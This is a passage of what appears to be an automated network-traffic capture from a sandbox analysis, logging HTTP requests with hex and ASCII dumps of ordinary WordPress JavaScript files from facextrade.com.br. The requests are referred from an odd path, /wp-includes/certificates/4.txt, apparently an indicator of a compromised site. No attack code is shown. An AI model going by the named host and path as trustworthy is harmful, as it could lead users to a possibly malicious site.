2e 74 61 62 6c 65 74 28 29 29 7b 0a 20 20 20 20 20 20 20 20 24 2e 73 72 53 6d 6f 6f 74 68 73 63 72 6f 6c 6c 28 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 74 65 70 3a 31 35 30 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 70 65 65 64 3a 38 30 30 0a 20 20 20 20 20 20 20 20 7d 29 3b 0a 20 20 20 20 7d 0a 7d 29 3b 0a 0a 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 65 2e 73 72 53 6d 6f 6f 74 68 73 63 72 6f 6c 6c 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 70 6c 61 74 66 6f 72 6d 20 3d 20 77 69 6e 64 6f 77 2e 6e 61 76 69 67 61 74 6f 72 2e 70 6c 61 74 66 6f 72 6d 3b 20 69 66 20 28 28 70 6c 61 74 66 6f 72 6d 20 3d 3d 3d 20 27 4d 61 63 49 6e 74 65 6c 27 20 7c 7c 20 70 6c 61 74 66 6f 72 6d 20 3d 3d 3d 20 27 4d 61 63 50 50 43 27 29 29 7b 72 65 74 75 72 6e 20 66 61 6c 73 65 7d 3b 20 76 61 72 20 6e 3d 65 2e 65 78 74 65 6e 64 28 7b 73 74 65 70 3a 31 37 30 2c 73 70 65 65 64 3a 31 30 30 30 2c 65 61 73 65 3a 22 73 77 69 6e 67 22 7d 2c 74 7c 7c 7b 7d 29 3b 76 61 72 20 72 3d 65 28 77 69 6e 64 6f 77 29 2c 69 3d 65 28 64 6f 63 75 6d 65 6e 74 29 2c 73 3d 30 2c 6f 3d 6e 2e 73 74 65 70 2c 75 3d 6e 2e 73 70 65 65 64 2c 61 3d 72 2e 68 65 69 67 68 74 28 29 2c 66 3d 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 69 6e 64 65 78 4f 66 28 22 41 70 70 6c 65 57 65 62 4b 69 74 22 29 21 3d 3d 2d 31 3f 65 28 22 62 6f 64 79 22 29 3a 65 28 22 68 74 6d 6c 22 29 2c 6c 3d 66 61 6c 73 65 3b 65 28 22 62 6f 64 79 22 29 2e 6d 6f 75 73 65 77 68 65 65 6c 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 6c 3d 74 72 75 65 3b 69 66 28 74 3c 30 29 73 3d 73 2b 61 3e 3d 69 2e 68 65 69 67 68 74 28 29 3f 73 3a 73 2b 3d 6f 3b 65 6c 73 65 20 73 3d 73 3c 3d 30 3f 30 3a 73 2d 3d 6f 3b 66 2e 73 74 6f 70 28 29 2e 61 6e 69 6d 61 74 65 28 7b 73 63 72 6f 6c 6c 54 6f 70 3a 73 7d 2c 75 2c 6e 2e 65 61 73 65 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 6c 3d 66 61 6c 73 65 7d 29 3b 72 65 74 75 72 6e 20 66 61 6c 73 65 7d 29 3b 72 2e 6f 6e 28 22 72 65 73 69 7a 65 22 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 3d 72 2e 68 65 69 67 68 74 28 29 7d 29 2e 6f 6e 28 22 73 63 72 6f 6c 6c 22 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 6c 29 73 3d 72 2e 73 63 72 6f 6c 6c 54 6f 70 28 29 7d 29 7d 7d 29 28 6a 51 75 65 72 79 29 3b 0a Data Ascii: /* jquery.simplr.smoothscroll version 1.0 copyright (c) 2012 https://github.com/simov/simplr-smoothscroll licensed under MIT */jQuery(document).ready(function($) { if(!device.mobile() && !device.tablet()){ $.srSmoothscroll({ step:150, speed:800 }); }});;(function(e){"use strict";e.srSmoothscroll=function(t){var platform = window.navigator.platform; if ((platform === 'MacIntel' \|\| platform === 'MacPPC')){return false}; var n=e.extend({step:170,speed:1000,ease:"swing"},t\|\|{});var r=e(window),i=e(document),s=0,o=n.step,u=n.speed,a=r.height(),f=navigator.userAgent.indexOf("AppleWebKit")!==-1?e("body"):e("html"),l=false;e("body").mousewheel(function(e,t){l=true;if(t<0)s=s+a>=i.height()?s:s+=o;else s=s<=0?0:s-=o;f.stop().animate({scrollTop:s},u,n.ease,function(){l=false});return false});r.on("resize",function(e){a=r.height()}).on("scroll",function(e){if(!l)s=r.scrollTop()})}})(jQuery);
Aug 16, 2022 11:53:39.816253901 CEST	2064	OUT	GET /wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:53:40.054483891 CEST	2142	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:50:12 GMT Server: Apache ETag: "a4f8b3-ada-58592c72eb640" Last-Modified: Tue, 02 Apr 2019 21:25:37 GMT Content-Length: 2778 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 20836704 15664926 Age: 208 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 21 20 64 65 76 69 63 65 2e 6a 73 20 30 2e 31 2e 35 38 20 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 2c 68 2c 69 2c 6a 3b 61 3d 77 69 6e 64 6f 77 2e 64 65 76 69 63 65 2c 77 69 6e 64 6f 77 2e 64 65 76 69 63 65 3d 7b 7d 2c 63 3d 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2c 6a 3d 77 69 6e 64 6f 77 2e 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 64 65 76 69 63 65 2e 69 6f 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 69 70 68 6f 6e 65 28 29 7c 7c 64 65 76 69 63 65 2e 69 70 6f 64 28 29 7c 7c 64 65 76 69 63 65 2e 69 70 61 64 28 29 7d 2c 64 65 76 69 63 65 2e 69 70 68 6f 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 69 70 68 6f 6e 65 22 29 7d 2c 64 65 76 69 63 65 2e 69 70 6f 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 69 70 6f 64 22 29 7d 2c 64 65 76 69 63 65 2e 69 70 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 69 70 61 64 22 29 7d 2c 64 65 76 69 63 65 2e 61 6e 64 72 6f 69 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 61 6e 64 72 6f 69 64 22 29 7d 2c 64 65 76 69 63 65 2e 61 6e 64 72 6f 69 64 50 68 6f 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 61 6e 64 72 6f 69 64 28 29 26 26 64 28 22 6d 6f 62 69 6c 65 22 29 7d 2c 64 65 76 69 63 65 2e 61 6e 64 72 6f 69 64 54 61 62 6c 65 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 61 6e 64 72 6f 69 64 28 29 26 26 21 64 28 22 6d 6f 62 69 6c 65 22 29 7d 2c 64 65 76 69 63 65 2e 62 6c 61 63 6b 62 65 72 72 79 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 62 6c 61 63 6b 62 65 72 72 79 22 29 7c 7c 64 28 22 62 62 31 30 22 29 7c 7c 64 28 22 72 69 6d 22 29 7d 2c 64 65 76 69 63 65 2e 62 6c 61 63 6b 62 65 72 72 79 50 68 6f 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 62 6c 61 63 6b 62 65 72 72 79 28 29 26 26 21 64 28 22 74 61 62 6c 65 74 22 29 7d 2c 64 65 76 69 63 65 2e 62 6c 61 63 6b 62 65 72 72 79 54 61 62 6c 65 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 62 6c 61 63 6b 62 65 72 72 79 28 29 26 26 64 28 22 74 61 62 6c 65 74 22 29 7d 2c 64 65 76 69 63 65 2e 77 69 6e 64 6f 77 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 77 69 6e 64 6f 77 73 22 29 7d 2c 64 65 76 69 63 65 2e 77 69 6e 64 6f 77 73 50 68 6f 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 77 69 6e 64 6f 77 73 28 29 26 26 64 28 22 70 68 6f 6e 65 22 29 7d 2c 64 65 76 69 63 65 2e 77 69 6e 64 6f 77 73 54 61 62 6c 65 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 77 69 6e 64 6f 77 73 28 29 26 26 64 28 22 74 6f 75 63 68 22 29 7d 2c 64 65 76 69 Data Ascii: /! device.js 0.1.58 /(function(){var a,b,c,d,e,f,g,h,i,j;a=window.device,window.device={},c=window.document.documentElement,j=window.navigator.userAgent.toLowerCase(),device.ios=function(){return device.iphone()\|\|device.ipod()\|\|device.ipad()},device.iphone=function(){return d("iphone")},device.ipod=function(){return d("ipod")},device.ipad=function(){return d("ipad")},device.android=function(){return d("android")},device.androidPhone=function(){return device.android()&&d("mobile")},device.androidTablet=function(){return device.android()&&!d("mobile")},device.blackberry=function(){return d("blackberry")\|\|d("bb10")\|\|d("rim")},device.blackberryPhone=function(){return device.blackberry()&&!d("tablet")},device.blackberryTablet=function(){return device.blackberry()&&d("tablet")},device.windows=function(){return d("windows")},device.windowsPhone=function(){return device.windows()&&d("phone")},device.windowsTablet=function(){return device.windows()&&d("touch")},devi
Aug 16, 2022 11:53:40.059732914 CEST	2155	OUT	GET /wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:53:40.298371077 CEST	2239	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:50:12 GMT Server: Apache ETag: "a4fbbc-38f9-58592ec603240" Last-Modified: Tue, 02 Apr 2019 21:36:01 GMT Content-Length: 14585 Content-Type: application/x-javascript X-Pad: avoid browser bug Cache-Control: No-Cache Pragma: no-cache X-Varnish: 20836706 15664930 Age: 208 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 28 20 66 75 6e 63 74 69 6f 6e 28 20 24 20 29 20 7b 0a 0a 09 27 75 73 65 20 73 74 72 69 63 74 27 3b 0a 0a 09 69 66 20 28 20 74 79 70 65 6f 66 20 77 70 63 66 37 20 3d 3d 3d 20 27 75 6e 64 65 66 69 6e 65 64 27 20 7c 7c 20 77 70 63 66 37 20 3d 3d 3d 20 6e 75 6c 6c 20 29 20 7b 0a 09 09 72 65 74 75 72 6e 3b 0a 09 7d 0a 0a 09 77 70 63 66 37 20 3d 20 24 2e 65 78 74 65 6e 64 28 20 7b 0a 09 09 63 61 63 68 65 64 3a 20 30 2c 0a 09 09 69 6e 70 75 74 73 3a 20 5b 5d 0a 09 7d 2c 20 77 70 63 66 37 20 29 3b 0a 0a 09 24 28 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 09 77 70 63 66 37 2e 73 75 70 70 6f 72 74 48 74 6d 6c 35 20 3d 20 28 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 09 09 76 61 72 20 66 65 61 74 75 72 65 73 20 3d 20 7b 7d 3b 0a 09 09 09 76 61 72 20 69 6e 70 75 74 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 20 27 69 6e 70 75 74 27 20 29 3b 0a 0a 09 09 09 66 65 61 74 75 72 65 73 2e 70 6c 61 63 65 68 6f 6c 64 65 72 20 3d 20 27 70 6c 61 63 65 68 6f 6c 64 65 72 27 20 69 6e 20 69 6e 70 75 74 3b 0a 0a 09 09 09 76 61 72 20 69 6e 70 75 74 54 79 70 65 73 20 3d 20 5b 20 27 65 6d 61 69 6c 27 2c 20 27 75 72 6c 27 2c 20 27 74 65 6c 27 2c 20 27 6e 75 6d 62 65 72 27 2c 20 27 72 61 6e 67 65 27 2c 20 27 64 61 74 65 27 20 5d 3b 0a 0a 09 09 09 24 2e 65 61 63 68 28 20 69 6e 70 75 74 54 79 70 65 73 2c 20 66 75 6e 63 74 69 6f 6e 28 20 69 6e 64 65 78 2c 20 76 61 6c 75 65 20 29 20 7b 0a 09 09 09 09 69 6e 70 75 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 20 27 74 79 70 65 27 2c 20 76 61 6c 75 65 20 29 3b 0a 09 09 09 09 66 65 61 74 75 72 65 73 5b 20 76 61 6c 75 65 20 5d 20 3d 20 69 6e 70 75 74 2e 74 79 70 65 20 21 3d 3d 20 27 74 65 78 74 27 3b 0a 09 09 09 7d 20 29 3b 0a 0a 09 09 09 72 65 74 75 72 6e 20 66 65 61 74 75 72 65 73 3b 0a 09 09 7d 20 29 28 29 3b 0a 0a 09 09 24 28 20 27 64 69 76 2e 77 70 63 66 37 20 3e 20 66 6f 72 6d 27 20 29 2e 65 61 63 68 28 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 09 09 76 61 72 20 24 66 6f 72 6d 20 3d 20 24 28 20 74 68 69 73 20 29 3b 0a 09 09 09 77 70 63 66 37 2e 69 6e 69 74 46 6f 72 6d 28 20 24 66 6f 72 6d 20 29 3b 0a 0a 09 09 09 69 66 20 28 20 77 70 63 66 37 2e 63 61 63 68 65 64 20 29 20 7b 0a 09 09 09 09 77 70 63 66 37 2e 72 65 66 69 6c 6c 28 20 24 66 6f 72 6d 20 29 3b 0a 09 09 09 7d 0a 09 09 7d 20 29 3b 0a 09 7d 20 29 3b 0a 0a 09 77 70 63 66 37 2e 67 65 74 49 64 20 3d 20 66 75 6e 63 74 69 6f 6e 28 20 66 6f 72 6d 20 29 20 7b 0a 09 09 72 65 74 75 72 6e 20 70 61 72 73 65 49 6e 74 28 20 24 28 20 27 69 6e 70 75 74 5b 6e 61 6d 65 3d 22 5f 77 70 63 66 37 22 5d 27 2c 20 66 6f 72 6d 20 29 2e 76 61 6c 28 29 2c 20 31 30 20 29 3b 0a 09 7d 3b 0a 0a 09 77 70 63 66 37 2e 69 6e 69 74 46 6f 72 6d 20 3d 20 66 75 6e 63 74 69 6f 6e 28 20 66 6f 72 6d 20 29 20 7b 0a 09 09 76 61 72 20 24 66 6f 72 6d 20 3d 20 24 28 20 66 6f 72 6d 20 29 3b 0a 0a 09 09 24 66 6f 72 6d 2e 73 Data Ascii: ( function( $ ) {'use strict';if ( typeof wpcf7 === 'undefined' \|\| wpcf7 === null ) {return;}wpcf7 = $.extend( {cached: 0,inputs: []}, wpcf7 );$( function() {wpcf7.supportHtml5 = ( function() {var features = {};var input = document.createElement( 'input' );features.placeholder = 'placeholder' in input;var inputTypes = [ 'email', 'url', 'tel', 'number', 'range', 'date' ];$.each( inputTypes, function( index, value ) {input.setAttribute( 'type', value );features[ value ] = input.type !== 'text';} );return features;} )();$( 'div.wpcf7 > form' ).each( function() {var $form = $( this );wpcf7.initForm( $form );if ( wpcf7.cached ) {wpcf7.refill( $form );}} );} );wpcf7.getId = function( form ) {return parseInt( $( 'input[name="_wpcf7"]', form ).val(), 10 );};wpcf7.initForm = function( form ) {var $form = $( form );$form.s
Aug 16, 2022 11:53:40.330493927 CEST	2261	OUT	GET /wp-content/themes/theme51253/js/custom-script.js?ver=1.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:53:40.563101053 CEST	2355	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:50:12 GMT Server: Apache ETag: "a53a52-14d5-58592d7651a40" Last-Modified: Tue, 02 Apr 2019 21:30:09 GMT Content-Length: 5333 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 20836708 15075469 Age: 208 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 6a 51 75 65 72 79 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 09 76 61 72 0a 09 09 77 69 6e 64 6f 77 53 65 6c 65 63 74 6f 72 20 3d 20 6a 51 75 65 72 79 28 77 69 6e 64 6f 77 29 0a 09 3b 0a 0a 09 77 69 6e 64 6f 77 53 65 6c 65 63 74 6f 72 2e 72 65 73 69 7a 65 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 09 09 6a 51 75 65 72 79 28 27 2e 67 6d 61 70 5f 63 6f 6e 74 61 69 6e 65 72 27 29 2e 63 73 73 28 7b 20 27 77 69 64 74 68 27 3a 20 77 69 6e 64 6f 77 53 65 6c 65 63 74 6f 72 2e 77 69 64 74 68 28 29 2c 20 27 6c 65 66 74 27 3a 27 35 30 25 27 2c 20 27 6d 61 72 67 69 6e 2d 6c 65 66 74 27 3a 20 77 69 6e 64 6f 77 53 65 6c 65 63 74 6f 72 2e 77 69 64 74 68 28 29 2f 2d 32 20 7d 29 3b 0a 09 09 6a 51 75 65 72 79 28 27 2e 67 6d 61 70 5f 63 6f 6e 74 61 69 6e 65 72 32 27 29 2e 63 73 73 28 7b 20 27 77 69 64 74 68 27 3a 20 77 69 6e 64 6f 77 53 65 6c 65 63 74 6f 72 2e 77 69 64 74 68 28 29 2c 20 27 6c 65 66 74 27 3a 27 35 30 25 27 2c 20 27 6d 61 72 67 69 6e 2d 6c 65 66 74 27 3a 20 77 69 6e 64 6f 77 53 65 6c 65 63 74 6f 72 2e 77 69 64 74 68 28 29 2f 2d 32 20 7d 29 3b 0a 09 09 6a 51 75 65 72 79 28 27 2e 63 6f 6e 74 65 6e 74 5f 63 6f 6e 74 61 69 6e 65 72 31 27 29 2e 63 73 73 28 7b 20 27 77 69 64 74 68 27 3a 20 77 69 6e 64 6f 77 53 65 6c 65 63 74 6f 72 2e 77 69 64 74 68 28 29 2c 20 27 6c 65 66 74 27 3a 27 35 30 25 27 2c 20 27 6d 61 72 67 69 6e 2d 6c 65 66 74 27 3a 20 77 69 6e 64 6f 77 53 65 6c 65 63 74 6f 72 2e 77 69 64 74 68 28 29 2f 2d 32 20 7d 29 3b 0a 09 7d 29 2e 74 72 69 67 67 65 72 28 22 72 65 73 69 7a 65 22 29 3b 0a 0a 09 6a 51 75 65 72 79 28 27 2e 63 68 65 72 72 79 5f 6d 65 64 69 61 5f 70 61 72 61 6c 6c 61 78 5f 31 27 29 2e 66 61 64 65 54 6f 28 30 2c 20 30 29 3b 0a 09 0a 7d 29 0a 0a 24 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 76 61 72 0a 09 09 6d 65 6e 75 57 72 61 70 20 3d 20 24 28 27 2e 68 65 61 64 65 72 20 2e 6d 65 6e 75 5f 77 72 61 70 27 29 0a 09 2c 09 6f 66 66 73 65 74 41 72 72 61 79 20 3d 20 5b 5d 0a 09 2c 09 6f 66 66 73 65 74 56 61 6c 75 65 41 72 72 61 79 20 3d 20 5b 5d 0a 09 2c 09 5f 64 6f 63 75 6d 65 6e 74 20 3d 20 24 28 64 6f 63 75 6d 65 6e 74 29 0a 09 2c 09 63 75 72 72 48 61 73 68 20 3d 20 27 27 0a 09 2c 09 69 73 41 6e 69 6d 20 3d 20 66 61 6c 73 65 0a 09 2c 09 69 73 48 6f 6d 65 50 61 67 65 20 3d 20 24 28 27 62 6f 64 79 27 29 2e 68 61 73 43 6c 61 73 73 28 27 68 6f 6d 65 27 29 3f 20 74 72 75 65 3a 66 61 6c 73 65 0a 09 3b 0a 09 0a 09 2f 2f 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 4d 65 6e 75 20 6e 61 76 69 67 61 74 69 6f 6e 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 09 24 28 27 23 74 6f 70 6e 61 76 20 3e 20 6c 69 27 2c 20 6d 65 6e 75 57 72 61 70 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 09 09 69 66 28 24 28 74 68 69 73 29 2e 68 61 73 43 6c 61 73 73 28 27 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 75 73 74 6f 6d 27 29 29 7b 0a 09 09 09 Data Ascii: jQuery(document).ready(function(){varwindowSelector = jQuery(window);windowSelector.resize(function(){jQuery('.gmap_container').css({ 'width': windowSelector.width(), 'left':'50%', 'margin-left': windowSelector.width()/-2 });jQuery('.gmap_container2').css({ 'width': windowSelector.width(), 'left':'50%', 'margin-left': windowSelector.width()/-2 });jQuery('.content_container1').css({ 'width': windowSelector.width(), 'left':'50%', 'margin-left': windowSelector.width()/-2 });}).trigger("resize");jQuery('.cherry_media_parallax_1').fadeTo(0, 0);})$(function() {varmenuWrap = $('.header .menu_wrap'),offsetArray = [],offsetValueArray = [],_document = $(document),currHash = '',isAnim = false,isHomePage = $('body').hasClass('home')? true:false;//--------------------------- Menu navigation ---------------------------$('#topnav > li', menuWrap).each(function(){if($(this).hasClass('menu-item-type-custom')){
Aug 16, 2022 11:53:40.567403078 CEST	2360	OUT	GET /wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:53:40.806709051 CEST	2440	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:50:12 GMT Server: Apache ETag: "a4f8b0-2f7e-58592c72eb640" Last-Modified: Tue, 02 Apr 2019 21:25:37 GMT Content-Length: 12158 Content-Type: application/x-javascript X-Pad: avoid browser bug Cache-Control: No-Cache Pragma: no-cache X-Varnish: 20836710 15664928 Age: 208 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 6a 51 75 65 72 79 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 24 29 7b 0a 20 20 20 20 0a 20 20 20 20 70 61 72 61 6c 6c 61 78 5f 62 6f 78 20 3d 20 24 28 27 73 65 63 74 69 6f 6e 2e 70 61 72 61 6c 6c 61 78 2d 62 6f 78 27 29 3b 0a 20 20 20 20 69 66 28 70 61 72 61 6c 6c 61 78 5f 62 6f 78 2e 6c 65 6e 67 74 68 20 3e 20 30 29 7b 0a 20 20 20 20 20 20 20 20 50 61 72 61 6c 6c 61 78 42 6f 78 28 29 3b 0a 20 20 20 20 7d 0a 20 20 20 20 0a 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 50 61 72 61 6c 6c 61 78 42 6f 78 28 29 0a 20 20 20 20 7b 0a 20 20 20 20 20 20 20 20 76 61 72 20 77 69 6e 64 6f 77 53 65 6c 65 63 74 6f 72 20 3d 20 24 28 77 69 6e 64 6f 77 29 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 53 65 6c 65 63 74 6f 72 20 3d 20 24 28 64 6f 63 75 6d 65 6e 74 29 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 57 69 64 74 68 20 3d 20 64 6f 63 75 6d 65 6e 74 53 65 6c 65 63 74 6f 72 2e 77 69 64 74 68 28 29 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 48 65 69 67 68 74 20 3d 20 77 69 6e 64 6f 77 53 65 6c 65 63 74 6f 72 2e 6f 75 74 65 72 48 65 69 67 68 74 28 29 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 74 65 4d 6f 64 65 20 3d 20 66 61 6c 73 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 65 56 65 72 73 69 6f 6e 20 3d 20 67 65 74 49 6e 74 65 72 6e 65 74 45 78 70 6c 6f 72 65 72 56 65 72 73 69 6f 6e 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 76 61 72 20 64 73 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 69 66 28 21 64 65 76 69 63 65 2e 6d 6f 62 69 6c 65 28 29 20 26 26 20 21 64 65 76 69 63 65 2e 74 61 62 6c 65 74 28 29 29 7b 0a 09 09 09 6c 69 74 65 4d 6f 64 65 20 3d 20 66 61 6c 73 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 69 65 56 65 72 73 69 6f 6e 20 21 3d 2d 31 20 26 26 20 69 65 56 65 72 73 69 6f 6e 20 3c 20 39 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 74 65 4d 6f 64 65 20 3d 20 74 72 75 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 09 09 7d 65 6c 73 65 7b 0a 09 09 09 6c 69 74 65 4d 6f 64 65 20 3d 20 74 72 75 65 3b 0a 09 09 7d 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 70 61 72 61 6c 6c 61 78 5f 62 6f 78 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 0a 20 20 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 70 61 72 61 6c 6c 61 78 42 6f 78 28 24 28 74 68 69 73 29 29 3b 0a 20 20 20 20 20 20 20 20 7d 29 3b 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 70 61 72 61 6c 6c 61 78 42 6f 78 28 6f 62 6a 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 6f 62 6a 5f 62 67 20 3d 20 6f 62 6a 2e 66 69 6e 64 28 27 2e 70 61 72 Data Ascii: jQuery(document).ready(function($){ parallax_box = $('section.parallax-box'); if(parallax_box.length > 0){ ParallaxBox(); } function ParallaxBox() { var windowSelector = $(window), documentSelector = $(document), documentWidth = documentSelector.width(), windowHeight = windowSelector.outerHeight(), liteMode = false, ieVersion = getInternetExplorerVersion(); var ds = document.documentElement; if(!device.mobile() && !device.tablet()){liteMode = false; if (ieVersion !=-1 && ieVersion < 9){ liteMode = true; }}else{liteMode = true;} parallax_box.each(function() { parallaxBox($(this)); }); function parallaxBox(obj){ var obj_bg = obj.find('.par
Aug 16, 2022 11:53:40.811074972 CEST	2452	OUT	GET /wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
